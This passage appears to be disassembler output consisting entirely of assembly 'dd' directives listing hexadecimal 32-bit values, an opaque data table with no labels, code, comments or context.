dd 6BA991EDh, 28C6BCDDh, 1728DF9Ah, 2461AC7Fh, 241995D6h
dd 8CABE108h, 20DADEB0h, 0E8CBBE15h, 0A7D17013h, 0E3EAF8C9h
dd 3CBC78ABh, 0ACCC06EBh, 0EBFB4E11h, 27DF066Fh, 978A08CCh
dd 2874E114h, 0BFCCE611h, 89838796h, 8A96C0FBh, 0D1888E35h
dd 0B9094C10h, 0C61AD950h, 0D2EAA0E4h, 4526742Fh, 530BFFE4h
dd 2CCD531h, 818B5E7Bh, 6C499BA7h, 5B468DACh, 0C9A99D04h
dd 0AE8ABECAh, 0BD7F98C2h, 0ECC68D0Fh, 4ECAA1CBh, 0FD22A1FCh
dd 7D0F8AC5h, 0CF03CBE2h, 0F74BA43Eh, 0EF012E1Ch, 32D6E64Eh
dd 57C75C2Ch, 7D0CCE00h, 1E8656FEh, 3BD473EBh, 0A983164Ah
dd 5ACF4542h, 857290Ah, 0C9871462h, 5A4DAB39h, 764BBB2h
dd 93871686h, 0C0F59492h, 1ABC3896h, 82EF9963h, 894952DAh
dd 6CD62C2Dh, 0F3518BBFh, 453229C0h, 0DD40AA73h, 160E2331h
dd 38369138h, 8FCB244Eh, 591AA36Ch, 0B0966E42h, 885BA03Ch
dd 16E996C1h, 0EE6363DAh, 0C6F455D0h, 0DB5CB953h, 4DD22924h
dd 9F8AE968h, 0E96FF582h, 92E36181h, 39BC8633h, 997F08DCh
dd 79AB53E5h, 0E6BBE905h, 7BC459F6h, 0D16A2BB7h, 0BB36F39Ah
dd 3DA9B79Ch, 0E3D697D8h, 0FECBA697h, 0C4B3665Bh, 0A8BC7B56h
dd 0D1901BF1h, 1D7956DAh, 0E74C1AF5h, 0F7CE9B45h, 0A42E7FF7h
dd 28702C8Fh, 0DC7D70D9h, 0F806D8E7h, 732E1E72h, 0F7B13465h
dd 5C0A5F11h, 0CCF053D9h, 0A82DB55Eh, 8EEE7C85h, 24561E49h
dd 0E7607AD6h, 3F19F8AAh, 0EE8D7DF7h, 6067525Bh, 0CDAFB276h
dd 3EE45CA7h, 89DF5020h, 0CA8D9B8Bh, 7181485Bh, 0BB9C8F5Fh
dd 2E1B2C8h, 494E02BAh, 0A82EE8D4h, 0E11A147Ah, 0D7120B9Bh
dd 56D22AFDh, 0DA9AE188h, 0D6B1BA9Ah, 0B501374Bh, 0E7628AA5h
dd 0EE977EA4h, 0D0404A57h, 8A7DF1h, 4C6152F4h, 0C489036Fh
dd 2E629ED8h, 3FA2E30Dh, 4AC444E1h, 0CA7FBC00h, 85F1A411h
dd 792424E6h, 60DC9223h, 7ED46756h, 237E44DFh, 1518C08Eh
dd 0C0D91FDh, 0F2A242B4h, 27E52CA5h, 42480174h, 73EC8789h
dd 612D16F9h, 450F1C4Dh, 0F94C1F1Bh, 1675602Dh, 4CAAD380h
dd 1C818F33h, 3FCFB155h, 6C58ECAAh, 6BAFA125h, 641AA808h
dd 0B7CE980Fh, 7E3180CCh, 0C69D2418h, 0B8DB97E1h, 0AC2DA781h
dd 51B6E542h, 14F6AEA8h, 89AF03B0h, 73B956D9h, 3F799AE2h
dd 0F2D8375Dh, 0FA3470E5h, 4CF20A12h, 3B9D66A1h, 61F84F29h
dd 3DB4BA7Bh, 65A16B0Bh, 217A2C86h, 47B778CFh, 0FAB55385h
dd 42DFE646h, 62CFE0EAh, 0F96CAEACh, 64BFB2D6h, 0E9707EE3h
dd 0AA46A48Fh, 2ADE521Ch, 0A224C06Bh, 0BB1922C0h, 470249BFh
dd 0AE29D0Bh, 0BCE71E42h, 307557A4h, 938AEA3Bh, 0CFF0848Bh
dd 0AF814C0Bh, 0F8B7F24Ah, 0A7950711h, 0F6464605h, 1A38BEFAh
dd 8D1F2E47h, 6B2C394Dh, 1795665Fh, 9D7A2C26h, 6A3D46E9h
dd 0C8402D07h, 1932C255h, 7BCA1A1Ah, 610714A2h, 85616F8Bh
dd 2E6F2DB9h, 87732AFBh, 0B1370837h, 3908C9Ah, 0BAE59DDBh
dd 0D5ED2073h, 0DBA2CA95h
dd 0B48B1657h, 4727EB3Eh, 22A26035h, 694E5933h, 527165ACh
dd 0D9232991h, 32A85B1Eh, 0D5024F0h, 527E8849h, 4C694FB5h
dd 44E54429h, 0EEE8E15Bh, 4A8BF308h, 0B7CB6D06h, 68D75117h
dd 0F9D8660Dh, 8F912BACh, 5DA0B4C0h, 6FEA12E2h, 95FF751Ch
dd 6E53D094h, 23678A9Eh, 82304FA3h, 0C60EF932h, 0E9445F3Dh
dd 0D26846A2h, 3102B585h, 0BA45A2C6h, 4019FFD2h, 0FF3D9BC6h
dd 0AFA2E31Fh, 47E429D1h, 0D6E8398h, 7540BC9Ah, 2D598AB3h
dd 9C18CB7Ch, 1A7E3806h, 899A7FC3h, 499F13D9h, 6DD7C8D7h
dd 9ED5A0BDh, 2C3F57D8h, 0B7A76968h, 5F7D6AB3h, 4C8C570Dh
dd 0B45BB9B0h, 5D517CF0h, 2E963686h, 49A802B6h, 0C4BE3576h
dd 0DCAF5536h, 0FF0ADB81h, 0EAA85ED0h, 0D8EDBE7Bh, 3A31D991h
dd 56840782h, 0AF46C73Dh, 0E633AD6Bh, 4AAE7A51h, 6CE9C8ECh
dd 0E7E0D234h, 85823EB7h, 7CF1B5CAh, 7C1A7FBEh, 4CF1D316h
dd 8FE97A43h, 7F2E0488h, 8D8115BCh, 1CA31202h, 136568E7h
dd 64D5F574h, 530957E7h, 0FAB3FA50h, 7C85C59Dh, 489487FCh
dd 6E938786h, 61769991h, 0B8783C4Eh, 0B16E94F5h, 5EC577D3h
dd 7D1B012Ch, 866D8190h, 40CF950Ch, 0D84E998Dh, 0DD4D943Ah
dd 0C23EF214h, 0E3F1939h, 42A2D9E1h, 0BE5EEA05h, 0C788C5F8h
dd 0C1AE3A5Dh, 5932655Ch, 50AC47E9h, 4F809FD7h, 4A62E354h
dd 35CB3664h, 43B0EE1Dh, 175EE561h, 2E25C17Fh, 0E399C069h
dd 0F747412Bh, 6933BDD4h, 6F566647h, 6CD61A54h, 0DFC0D322h
dd 0DFCED90Bh, 6F010991h, 3AD722C2h, 2E3C963Dh, 7E4AAF73h
dd 0E99D719Bh, 214B31E3h, 0AEA6B201h, 0DA68E01h, 19CC72Eh
dd 81A40BF3h, 0FA4B91Ch, 5E8FF2C2h, 0EB12B6F0h, 0F0FABF4Dh
dd 0B0F0B0BEh, 0AA374640h, 102EDDEFh, 723225E3h, 0DC5BBD14h
dd 83475BBAh, 9DAB1683h, 0CD340D1Bh, 2AD54348h, 0D3B4580Fh
dd 6D8EF543h, 3E9F52D0h, 0FA1EF6Ch, 0FECBDB77h, 0E614A426h
dd 316A6B23h, 0ED3521CFh, 1365EBFAh, 9470A341h, 0E77553B2h
dd 0CCB6D225h, 79E9A3B1h, 0B1B6F0B7h, 352E2794h, 1D6319Ah
dd 6BC1183Ch, 0E2EAF3C9h, 0F80FA318h, 89BFB067h, 696BD53Ah
dd 0ACF1046Eh, 31FFC48Bh, 896206B8h, 58E9F783h, 49AE707h
dd 9D1D8B2Eh, 9D8D2414h, 6CCFC2ACh, 0E7AB4C67h, 0C76AF3BFh
dd 1D42B7Eh, 31E150C6h, 0C477B9DCh, 0E08E5EBAh, 0AA7FCB53h
dd 0EBFE5B88h, 891D2A9Eh, 0B220A14Eh, 0D890CA68h, 8C2FF5C0h
dd 36998EB7h, 591C8819h, 0D795EC72h, 0A3127AA6h, 0EBBC1EFh
dd 16798036h, 10999549h, 7727EE8Fh, 789EADC7h, 382CBC5Ch
dd 1249F940h, 82AFEE3Dh, 0A6AEF316h, 1184C5B1h, 0BE59DA37h
dd 4CEB9396h, 971B73FFh, 19674D8Bh, 0BAB579A0h, 2D67C564h
dd 0DB739A8Ch, 1F7B7BA4h, 110D5199h, 1D5F1014h, 2CBDD73Ch
dd 0AECD4B5Fh, 0BB8321Eh, 77C5001h, 0C34AE3A7h, 21D05D39h
dd 5D1D9780h, 7A0560B5h, 534A1A30h, 0A53E0229h, 0B86DECAEh
dd 55D68B14h, 0ECD47B65h, 15EF0A75h, 0CFBA297Ah, 811F0667h
dd 114E8FBFh, 54EAC8F3h, 6EB9688h, 0CF7ABA20h, 9ABCBB1Dh
dd 9DBB7316h, 0BC565567h, 8BB28DFAh, 9A0F4429h, 4751BB07h
dd 98F249E9h, 0F6DB2A41h, 0F1785FF9h, 0D2C4D2C2h, 5BDF7B73h
dd 0D3B03ADh, 0B5EEFADDh, 0FE0C8C15h, 0E336CB1Bh, 0C0BA9888h
dd 0A97BCE60h, 9E9211B9h, 0B93C0219h, 527F3A52h, 44AA2FF7h
dd 1563FC11h, 420733A0h, 1FB70CFDh, 0B5482E54h, 2A7657A9h
dd 0A018E55Fh, 750A92E8h, 0ECFD7BF0h, 9FED7BCEh, 0A9CCFD55h
dd 0EB725CBBh, 0DD3E69Ch, 0E67C2BB6h, 5B4907F8h, 469CC421h
dd 764DA593h, 38FE7533h, 0E0D16F42h, 0FB7A1731h, 1CCF7CFh
dd 6ED028CCh, 5111C8Ch, 41EF692Bh, 7EF0BCEEh, 89D973BCh
dd 2626451Ah, 692C0509h, 0F648C9DDh, 0FD63FC40h, 0AEFD4B42h
dd 5FDB9C13h, 11221F99h, 7CF84C0Fh, 5B31F9BAh, 0FF556CA0h
dd 7E854784h, 89A6DCB3h, 7997FC39h, 0D37C902Fh, 0AF6659B5h
dd 98C9696Ch, 0B17129A3h, 0DE8705CAh, 3D539983h, 0FEBD9828h
dd 617E3528h, 0F1A364AFh, 5B1D4AC4h, 3754745Eh, 4AF25D52h
dd 0F5EBFAE9h, 6D0631DAh, 0B9714E50h, 0C13767C5h, 8A949E1Eh
dd 0AF08BAE5h, 5CFE2A8Ah, 0FBD5FEBDh, 0CA5F28h, 0E358E730h
dd 0DF52D873h, 50A75DCh, 3FE6DD29h, 0B9359912h, 0D02E907Ah
dd 56D46718h, 0DE7D8F71h, 2C132A1Eh, 0C4FB70D5h, 675634D9h
dd 0E9107FA1h, 6E8F123Bh, 8C54B020h, 0DF969727h, 77420317h
dd 0EE537784h, 65695D8Ch, 0E82F2011h, 0CC649F74h, 0A289CA62h
dd 0DCF6F679h, 0E2F6F1A6h, 4BFA4153h, 4D1FD658h, 0D2A61481h
dd 0FA946B61h, 5A17AD3Fh, 8E501F22h, 932AE1F0h, 801DAF2Fh
dd 21E1F4FDh, 89B4B00Bh, 383B812Ch, 1B2F52A2h, 14BBF360h
dd 1C5F8CECh, 172CC070h, 4ADB0538h, 0F9953EA8h, 94D24BADh
dd 0AB383541h, 33C7ACDh, 3E2291BAh, 30A070FDh, 0A682C960h
dd 2DD508E5h, 6C317AF2h, 4BCDAAB6h, 770CA77Dh, 0CA5C61FCh
dd 0C7AD1356h, 0A52A47BCh, 433B3BD8h, 21DB905Fh, 0B8570289h
dd 675AF781h, 6B1C81C0h, 74047954h, 0C694E629h, 0B69B0A3Eh
dd 0A7908B4h, 0F9F6902Ch, 0A9CA678Ch, 548BF71Ch, 4AD43ABFh
dd 0A1FC49Ch, 8568CE3Eh, 919B12CBh, 227AE5C3h, 914F1BB8h
dd 46F73761h, 18A685A6h, 0D14BC908h, 2268FB81h, 31DC6FAh
dd 0F75F6B75h, 62CFAB56h, 0A2DEA565h, 480DBA6h, 0AD3A24EFh
dd 0AC2F08B8h, 2FE4F40Bh, 7848C42Dh, 0FDD539D1h, 23EED8E8h
dd 57CF608Bh, 6465934Ch, 174C5EC8h, 0C6879021h, 0D27B37F1h
dd 0A98617B3h, 72AF7291h, 0A549625Bh, 0BDD914F0h, 71597BFAh
dd 0B0BEBFF1h, 32EDC99Eh, 4910EDC8h, 6F3EECE1h, 0D2467E00h
dd 0AAF2E3BBh, 5C752D48h, 0F9EB1B6Ch, 644D4BE0h, 69BF077Ch
dd 8A3B537Ah, 690998E4h, 0E7B37D99h, 7081A3F9h, 22A40863h
dd 62FFE9D7h, 0C6D0FB6Ch, 0AC91F898h, 0CF0C00E7h, 62BCD0ACh
dd 0C7C5B45Eh, 298ECDD9h, 3ADFDE83h, 60F9A1B0h, 0F3195CFCh
dd 92AB6AF9h, 0BA9C1419h, 65BFD8BDh, 35293A44h, 0E27A63C8h
dd 0FA064A21h, 76E86ACh, 8EA92216h, 6B6F0E8h, 0BCB2EBFCh
dd 0E5C7AFBEh, 0D078F7AAh, 59F84DDCh, 32DB4146h, 180C2CD6h
dd 0A749C371h, 996C833Fh, 0C66FAB5Ah, 6A351AC7h, 0B2102FBEh
dd 334F2010h, 3B163420h, 0CD38B5B2h, 1D8C62E7h, 64D6A081h
dd 995F2721h, 0F9B8C4F9h, 0B4E12D0h, 0A75DF22Bh, 0E760E11Eh
dd 1EAD0C1Eh, 0BF08FF30h, 63C3DA01h, 13F16B5Eh, 608498DBh
dd 4C55E306h, 4BB90636h, 0F8F17872h, 0E78C9E90h, 5D3C3C2Ah
dd 70EA03F0h, 0C8FA69F4h, 7942E906h, 6D3DA89Ch, 0C6CFD73Bh
dd 0C46E379h, 9EDDAF4Bh, 7748FEh, 9C0CC389h, 0E0B163DBh
dd 58E7F9F5h, 868188D2h, 5C7D52F7h, 513A5409h, 8A989DEh
dd 7F3D489Ch, 2625B4B8h, 67AED41Eh, 0E29C11F2h, 187E6067h
dd 1B8BCE95h, 3D76B2E5h, 0C7827F08h, 5C2DB6FCh, 1D3D9643h
dd 0F57CE96Bh, 0CE6AF9C9h, 6F1AFE1Bh, 0E156DCDFh, 5EB63912h
dd 4EC06007h, 0B4B3F05Dh, 559EAD08h, 481D3C90h, 10221A38h
dd 0E428252Eh, 6200EE62h, 10AE234Dh, 58203106h, 20255117h
dd 6D9BB7BFh, 344C1F9Dh, 7A9D865Fh, 0F41EE9C7h, 4C204Ch
dd 79A1BA6Fh, 0AADEC1C2h, 4A119444h, 0ED932B89h, 0A68BCF5Eh
dd 0FC8C302Fh, 0BD19676Ch, 5D615853h, 0DBD953E3h, 2D29B5F0h
dd 9F03D45Dh, 2142C027h
dd 24BC3FBAh, 0F87910FEh, 6CF6E7F5h, 819248C5h, 6C31C2Eh
dd 0AE693AEAh, 0FF52908Eh, 0C0F91EE9h, 2A7B44C8h, 3036544Dh
dd 0E02A8CA6h, 8FF2F2EFh, 40EE6E9h, 0ACEA8998h, 0A237C702h
dd 0DE4FE509h, 0A93AA163h, 17E1282Eh, 0E242CECAh, 29AC93F9h
dd 646D58A5h, 97419508h, 6D817D5Ch, 0A024A674h, 0B3769E2Fh
dd 935E2FDCh, 8B18785Fh, 7A807252h, 364FB630h, 9EB7A9B1h
dd 19D19775h, 8DBA08DEh, 6698A553h, 8E0D694Eh, 0BD2FFD69h
dd 0C6421EA3h, 0D9E9AF9Bh, 260AAD14h, 9D3A66C8h, 1F2692E0h
dd 0C47B065Bh, 23FC7B2Bh, 1F60D82Dh, 2CD11C0Ah, 782B0F10h
dd 0D28B1677h, 0EE7DDC46h, 32927A02h, 4C716751h, 46C76C6Dh
dd 0AFECE5F7h, 0B3B1CCBBh, 4E88D17Eh, 2D407C18h, 4E6F91EDh
dd 1F3729D9h, 6283748Fh, 3D395EAFh, 1D0672DCh, 0A97F77D2h
dd 0D712A60Bh, 94708CFBh, 1CCF695Eh, 0B21EA6FAh, 70A70BD4h
dd 0D768E238h, 0BE77FDADh, 578FA5F3h, 90E4573h, 3D425F82h
dd 9791A40Eh, 23A8F5DEh, 0CF1B61B1h, 0A1F84974h, 85D37344h
dd 0C09E638Fh, 811AA8DBh, 60E580D7h, 35FBCAD2h, 0B5E7E5B9h
dd 0EEAEAFA3h, 0B8B5F21Ch, 25847362h, 9A630A6Dh, 70C999A2h
dd 0FC059A60h, 1E7FD420h, 6BD548A9h, 0DE4346FCh, 0C9583FD4h
dd 0ADC038CFh, 0A1B66881h, 0DABEDF17h, 3AEA870Ch, 8A834996h
dd 1A096E34h, 94E5A1F1h, 28A2CB00h, 9A50BFFh, 0CC3C272Fh
dd 853BAD73h, 4205A208h, 140ECDADh, 234465F3h, 78BFB4F3h
dd 0AAC23135h, 0AC5B79h, 64A8CDCCh, 6DA5ADDAh, 0A08F05E8h
dd 4E5293F6h, 8285D697h, 74982BB0h, 80C64AD3h, 0D1DB74F7h
dd 0B610D5EEh, 6DF266C7h, 98797B7Fh, 0BFBC49C1h, 0AD1A731Eh
dd 0DD276968h, 201CD1F9h, 651D7B68h, 0B75AB492h, 152E8C22h
dd 0E7F2903Fh, 22BFD4ABh, 32C17597h, 0E36596BEh, 4F479D11h
dd 3964A26Ah, 0A80FA316h, 340B2C97h, 0B5F4FD12h, 68D95295h
dd 286D2C38h, 9FCAB1CFh, 0AD962BA8h, 92668E2Dh, 45101787h
dd 6E0A62F4h, 0F9654D96h, 0EB90C750h, 0F6AF4A86h, 0E717F970h
dd 5D4CAF44h, 2FE5E0B5h, 0AFB90B2Ch, 6A28EFC2h, 0A4D0CA4Fh
dd 234766B9h, 5BEBEAB5h, 0CBC055FAh, 91FA5ACh, 0DB8928C4h
dd 0FCEF57BEh, 0DCBB846Fh, 889EB215h, 0F4B668ECh, 8BD4B648h
dd 989E2386h, 5F265C0Ah, 0CBE6CD2Ah, 11B2D801h, 0F92005B7h
dd 5A256CB7h, 0F8B84AF0h, 35F16B1h, 3378D039h, 2B86B80Ch
dd 969AD031h, 7CEC1A1Eh, 0F62F1474h, 19B3490Eh, 0DF352EF5h
dd 27351ABCh, 845FAFA8h, 76F2F6B4h, 9E4CF9EBh, 7FFB6B49h
dd 0E40D7C35h, 0BB101F4Dh, 0C0E49C95h, 1A33FE84h, 18328639h
dd 85E78448h, 3436D483h, 111785A4h, 65E2F551h, 660F7ACEh
dd 997DE55Fh, 6C1A755Ch, 19D5AB1Ah, 277700F0h, 0D740465Bh
dd 0FE827752h, 0FFE03D16h, 2390ACBFh, 753EB189h, 0F6F0F740h
dd 59C11989h, 0BA82F3F9h, 0BAC934D8h, 60672C1Eh, 9F7F1569h
dd 22D7BFBDh, 132E2B1Eh, 3AF122CDh, 43203C8Ch, 385E3BE0h
dd 0CD0AE48Ch, 0E2AEA533h, 8EF592CFh, 0CA487E93h, 98BCF2DFh
dd 0B0799646h, 0D577A8E6h, 0D4B416A1h, 2123940Ch, 56B92350h
dd 0E792ABE6h, 0B2B51922h, 6DCF6892h, 0B108434Eh, 0CBFF7FD7h
dd 5885F191h, 7F7568A5h, 9FCE7F3h, 0C1B7689h, 14CB4DACh
dd 4A404B0Fh, 0F84134Ch, 0A4103625h, 3B19C135h, 64ED0C3Dh
dd 21BD8E1Bh, 6290C401h, 8DF3DEE3h, 0D588DCB2h, 771BB296h
dd 3419EBA5h, 0F0197A4Dh, 0EDE46E9h, 3DAF6359h, 0FC0E6D12h
dd 22BCF18Fh, 0A5EA135Ah, 78985902h, 0DDFFDCD1h, 2C9CF472h
dd 0D1071C1Eh, 23A649EAh, 2065834Ah, 74243777h, 0AD88287Ah
dd 0BF467651h, 0FDC42BECh, 0CD058CFDh, 74E4E50h, 0C5A08268h
dd 78B1F6A5h, 35C835DFh, 81EB9Eh, 8D71BD25h, 2A8454A3h
dd 65D9BF5Bh, 0E4141148h, 0E288D24Ah, 44483A0h, 0B477CE73h
dd 0B0735A57h, 0E9430FE1h, 89ADBD72h, 68950B47h, 0A9BDB85Dh
dd 0AD7C71AEh, 0E1584685h, 0F06AD63Fh, 5C1C172Eh, 5E3BCF8h
dd 8C7E286Bh, 38B05292h, 0F1BA6C56h, 0C764749Bh, 95B38FE9h
dd 0D8890EEFh, 322A6422h, 6C28A7E0h, 332D7278h, 5D886156h
dd 0FBDC83F1h, 15BF8528h, 0EDCC4E6Dh, 7DD64AF0h, 362F1645h
dd 43715F5Ch, 8A95F9FFh, 889B618Ch, 21C6D745h, 90164ABBh
dd 8625D48Dh, 407DC08Ch, 0E723998Eh, 1C199507h, 0A9AED0ABh
dd 155172B1h, 527D780Dh, 2C117A91h, 0D161D951h, 0E2657E94h
dd 98AED3A0h, 0EC1EFC3Ch, 35859849h, 599E9685h, 1FA8F29Fh
dd 98537BE3h, 203A274h, 810322CEh, 4A8F742Eh, 6B3B173Ch
dd 99FE5045h, 0A6978FC5h, 9B02448Eh, 0D2714314h, 0E9EB8CACh
dd 0AB5BA5B7h, 0E58E4314h, 0B9A8FC80h, 3939F5AAh, 0C5CB9940h
dd 0BCCA7BCEh, 0DEB14F36h, 0BB476A3Fh, 0FD4260A1h, 0B32EA364h
dd 0C952A2F8h, 1BB58224h, 504DA5E1h, 22E2E754h, 857C61D1h
dd 724CE26h, 8F2CF2ECh, 0D40DAF7Fh, 8A3FC333h, 4275B9CAh
dd 7C7BC883h, 0EB69ECC2h, 0A05F7A12h, 7CCD3F7Dh, 99F70B71h
dd 4B18568Ah, 6B4020D1h, 1A67FCA7h, 0A976BB30h, 98851EA0h
dd 2B95020Ch, 64FE0899h, 954932D0h, 0F8212F09h, 761BF750h
dd 0F18A9F31h, 6DEE6C52h, 0C198CCFEh, 3EF2DDDAh, 0D0554AB5h
dd 523E63C7h, 3F5C430Bh, 0F7188035h, 9106F4D0h, 3AC1059Eh
dd 5F42A150h, 0ABA1E0F6h, 31DBF5A6h, 76ECF975h, 70C2165Bh
dd 250B778Bh, 0C8DA3A4Fh, 7951D83h, 0CF2EC97Dh, 60307F83h
dd 8E5AC7DCh, 3A54D6Ah, 0E96AE3A9h, 129844E4h, 46F90360h
dd 0B2486252h, 0C007134Bh, 0C6791967h, 0D2862C5Fh, 0F9650185h
dd 0DAF8EDBEh, 3CF98F25h, 0C732F283h, 0EA70898Eh, 0C1EF1959h
dd 17734598h, 31111B33h, 0CDEC9388h, 70B3E011h, 3E4FCE8Dh
dd 9E1CA0BCh, 0ECC4E7EDh, 6A8CEDEAh, 0D1C3F9C1h, 0B219DF26h
dd 0BF0C0AF0h, 9DAA2ECEh, 0A3E80A7Fh, 0C7B1CD5Dh, 6BD7D94Ch
dd 0E3537871h, 0B6BB680h, 244951E1h, 0B6663B11h, 0C341F654h
dd 423188C6h, 2D1DB5FAh, 8AEA893Eh, 69DA988Eh, 0CD5E17FBh
dd 0E9B7F5CCh, 0E55149ADh, 22FAFF3Eh, 0DF96F6A4h, 3E4530D5h
dd 2D9C4361h, 94627474h, 0E1A58099h, 199EE25Ah, 0EC1555EEh
dd 473C5E57h, 857F13C5h, 5D6C40h, 0BD9197A2h, 587DEC4h
dd 3367835Dh, 99DF605Ah, 12F8A40Eh, 3880EF75h, 0C92543D9h
dd 873B8211h, 8E43758Eh, 0EB7F54E6h, 74160F0Eh, 0A1674F22h
dd 0D69EF54Eh, 0DDB92E0Fh, 8E2812C6h, 9276174Dh, 0AF48A046h
dd 0FBE42885h, 5381E330h, 40D9FB31h, 861F86B7h, 3A34313Ah
dd 0FEF92577h, 168BBBB0h, 7A5A83DAh, 20C11D0h, 0E070A899h
dd 38D85E53h, 0FEB1D5E6h, 0FBF684F3h, 51E2A783h, 5242C85Ch
dd 0B24A132Eh, 0F1BA5EECh, 4A1DABFDh, 0D7235CF8h, 13BFA3BBh
dd 3B62AA5Fh, 0DDBB44F1h, 5EC54380h, 637D1BDCh, 183BEEF7h
dd 1F26C206h, 0B8CFCF28h, 9C8E3098h, 2F36428Bh, 0A6E5C0A2h
dd 0ED68B225h, 0AA89D5F0h, 8356347Bh, 85142E9Ah, 0AB001293h
dd 6C0787F9h, 8254CEA8h, 8ADDC70Ch, 6F9558E5h, 0BEB1CA52h
dd 0C7CBFB8Ch, 91599434h, 0E54A3728h, 0F14682C9h, 0B0292BC0h
dd 0E95873FEh, 6A5435A2h, 0CF292BCEh, 143E14C7h, 0DB610792h
dd 0A57D3667h, 8D7B71B8h, 4FA78967h, 8CD1EC3Eh, 21A6C5F4h
dd 0EDC2727Fh, 76B2190Ch, 2965BA81h, 0AF493B08h, 0E84AA02Fh
dd 594B9912h, 6C7222CAh
dd 3EEFCC52h, 0C8A943D6h, 9E1CBC81h, 0FBC8269Fh, 0DDFE31C5h
dd 0BD9F01CBh, 8A60FE25h, 767D0F29h, 0B12BA2CFh, 9C1C2DBEh
dd 2E5B1967h, 6F5FB432h, 85F45892h, 0CC2AB80h, 975EBF37h
dd 4E58EEC8h, 1B2B37D8h, 9D9C2BC2h, 0D147C8A2h, 941F5C60h
dd 6051F0F4h, 7D56CB14h, 385B62BBh, 13B8BC94h, 42E11F42h
dd 0BEA13EBAh, 14DB82C9h, 0FEE1F41Ah, 7BDB337Dh, 0DAE85668h
dd 0EB0C66B3h, 7976B24h, 297E9EDAh, 0CC50E31h, 2F1B120Ah
dd 2C74090Eh, 9946223Ah, 8D54D843h, 822A7F92h, 3D6D673Dh
dd 6751D9C6h, 234F40F4h, 0D476A36Ch, 0A9DD6672h, 0B480D5CEh
dd 0F8522BC6h, 587346B1h, 6DDF93F2h, 0ABCA2443h, 699DDDEBh
dd 0F578D1ACh, 562AC4C0h, 0E0A44EB9h, 1C4CCFFEh, 89498D9Eh
dd 0C43E4A05h, 0FC6BC8C6h, 0B60B588Bh, 9645150Bh, 549FC19Fh
dd 0C37EFAEEh, 858A12F1h, 0AA1477Ch, 6FFDC97Dh, 29E88ABFh
dd 9B837190h, 0A1C33246h, 419AA0BAh, 949A38F1h, 9ADAA084h
dd 1E2C1349h, 36797E94h, 6CEF810Bh, 0BF7A8A79h, 0EE701A09h
dd 4182EF66h, 505AED89h, 3FA2CAA9h, 709449ADh, 46B7D262h
dd 11B1A37Bh, 0E42245C3h, 0F74822E8h, 0BD745EA1h, 5F05F267h
dd 988DDCA0h, 0D4FA7CF7h, 0CC8F0BE8h, 0F5A3B003h, 0E4B80796h
dd 827173E8h, 0B82187F2h, 79E84501h, 0B8E8E571h, 0E3765863h
dd 0F785F605h, 4924712Eh, 67735315h, 2DC89505h, 0CC67D13Ah
dd 5F799F66h, 0FB47AC5Fh, 0ABEF67FDh, 2E0A6D4Ch, 0ED83E374h
dd 1B53EE7Bh, 27E5A6D3h, 946E91A4h, 0DB63474Bh, 607C4CD7h
dd 4ED3C2D0h, 0D806F17Ch, 0A5A0F942h, 270B0100h, 9C17A4B0h
dd 0A308195Fh, 0F8AA11C1h, 2993B309h, 0F0743223h, 9BAA1CA1h
dd 3F7DB66Bh, 0F21565CEh, 4B0C0270h, 0C97AA088h, 9F8B31D4h
dd 0DF60EBC4h, 5C1E1886h, 31306CA9h, 1E2A673h, 8552E692h
dd 83556B33h, 0D635B0A5h, 225184E0h, 0E51D897Dh, 0B72C53D6h
dd 0F202BF0Fh, 29CC607Ah, 3E3BB996h, 8BA14247h, 0E4AEAA17h
dd 6DB4BFC8h, 0AE1D97Bh, 83FD0B3Ch, 21FE1F1Ch, 412D3E3Fh
dd 0EC6722C1h, 42993F24h, 199FA61Dh, 994F13F2h, 0A3C05AB8h
dd 69CEBBCh, 0EA148FEBh, 0C3718207h, 0BA87B597h, 3C15FD92h
dd 674C6CC3h, 0F79C178h, 7B3B0790h, 84F4D603h, 3B8F6E97h
dd 7981CD43h, 0C3DEFCAEh, 0DC793F86h, 1B0EDAEAh, 1372CA1Eh
dd 0F728B867h, 66A6B579h, 97C890B3h, 1FC0AF99h, 0EDF313A2h
dd 0D1D844E0h, 31601D5Ch, 7D24551Ch, 0FB0D6394h, 7852051Bh
dd 69BC7BE1h, 30FB3C27h, 35BDA60h, 0A6D757Ch, 5E88A13Ah
dd 80F45F02h, 0D35692CAh, 0B4288D23h, 5495AB66h, 7511462Bh
dd 0A1686901h, 0FE1AD21Dh, 0BBE5087Dh, 0AADBAD16h, 0C9EC0678h
dd 0EA5313EFh, 0E5803F7Bh, 0B1E27235h, 627A3391h, 0FAE37861h
dd 9DD080F4h, 802CF25Ah, 28D8EB63h, 1CA1328h, 0EBD4F62Eh
dd 5D4BC4BFh, 0ECBC7899h, 1C0B6F8Fh, 76D20252h, 12A13503h
dd 0E7C89E28h, 0FB54E592h, 0BEC0DEC7h, 9B95B4EAh, 0A2587E2Ch
dd 0CFD95986h, 2555BDD3h, 0F7A226ECh, 0C7441978h, 0EE6D2243h
dd 19666827h, 0DA844EDDh, 0D73C70A8h, 2891FE5Fh, 51108937h
dd 72897A0Bh, 0F6EB1B76h, 283F5495h, 63C7FEF6h, 0E8C2AA0h
dd 5E010CD0h, 0E1F43908h, 18925E1Fh, 7B8FC2F7h, 0EB9493h
dd 0CD254364h, 71BA726Fh, 2495DFF5h, 0DF1376FBh, 576A013Bh
dd 91C0DBB5h, 8A7B8C95h, 9165081Bh, 5BAF4500h, 12921DEh
dd 1E25002Fh, 0DE37BF7Fh, 0EC825F29h, 4B81BE40h, 3899CF8Fh
dd 4FE75E1Dh, 0C8D243EBh, 7F915E01h, 0A020C929h, 0F1881645h
dd 959571BCh, 1CA3BD9Dh, 0DAAB6CC4h, 9DB90F83h, 0E495CFADh
dd 81E27C26h, 0E08529C2h, 63F9745Eh, 564E6273h, 9B4F198Eh
dd 62B945DBh, 7D051D34h, 0CFC02F12h, 0D9E04110h, 0FAE35E12h
dd 9792200Ah, 0CB799754h, 770B5E46h, 0A628A456h, 0F3828966h
dd 401D0706h, 1F8508DDh, 5279B338h, 0CAD5B8D5h, 6A796645h
dd 8F79385h, 208D0785h, 5C8449D7h, 6B2541AEh, 0F42548B8h
dd 845F23D4h, 1A1CF2B5h, 0CAA95DC8h, 0AEE7D920h, 3A5B261Eh
dd 9D9DD40Ah, 0BB955394h, 0F994393h, 6317D497h, 5E9C483Fh
dd 4AC84165h, 57D0FDCFh, 0FEF99DF0h, 750066D1h, 0F5B31062h
dd 93A670B3h, 0E09C2D88h, 6767A82Ah, 93C8D865h, 6DF17D8Eh
dd 0CBEB2135h, 0E0830433h, 0F3EFB338h, 52628E30h, 65C66556h
dd 0EF028AB8h, 0F93A3806h, 72D7EAECh, 4DC13BDBh, 0D81FB4E1h
